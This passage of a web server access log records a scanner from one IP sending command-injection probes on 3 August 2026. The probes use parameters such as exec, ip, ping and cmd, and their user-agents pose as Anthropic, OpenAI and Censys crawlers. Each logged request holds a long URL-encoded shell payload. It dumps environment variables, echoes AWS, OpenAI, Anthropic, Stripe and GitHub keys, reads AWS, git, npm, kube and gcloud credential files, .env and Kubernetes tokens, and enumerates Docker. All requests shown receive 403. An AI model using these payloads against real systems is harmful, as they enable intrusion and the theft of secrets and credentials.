24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END+%23 HTTP/2.0" 403 17524 "-" "Mozilla/5.0 (compatible; Claude-Web/1.0; +https://www.anthropic.com)" 9 **0/9186**
35.234.173.128 - - [03/Aug/2026:19:58:08 -0700] "GET /?exec=%3B+echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END+%23 HTTP/2.0" 403 17521 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.4; robots.txt; +https://openai.com/searchbot" 9 **0/9124**
35.234.173.128 - - [03/Aug/2026:19:58:11 -0700] "GET /?ip=%3B+echo+GSCAN_CMDI+%23 HTTP/2.0" 403 10867 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 5 **0/5875**
35.234.173.128 - - [03/Aug/2026:19:58:12 -0700] "GET /?ping=%3B+echo+GSCAN_CMDI+%23 HTTP/2.0" 403 10869 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 12 **0/12864**
35.234.173.128 - - [03/Aug/2026:19:58:12 -0700] "GET /api/ping?host=%3B+echo+GSCAN_CMDI+%23 HTTP/2.0" 403 10877 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 5 **0/5084**
35.234.173.128 - - [03/Aug/2026:19:58:12 -0700] "GET /api/exec?cmd=%3B+echo+GSCAN_CMDI+%23 HTTP/2.0" 403 10876 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 4 **0/4679**
35.234.173.128 - - [03/Aug/2026:19:58:15 -0700] "GET /?ip=%3B+echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END+%23 HTTP/2.0" 403 17519 "-" "Mozilla/5.0 (compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 13 **0/13121**
35.234.173.128 - - [03/Aug/2026:19:58:15 -0700] "GET /?ping=%3B+echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bd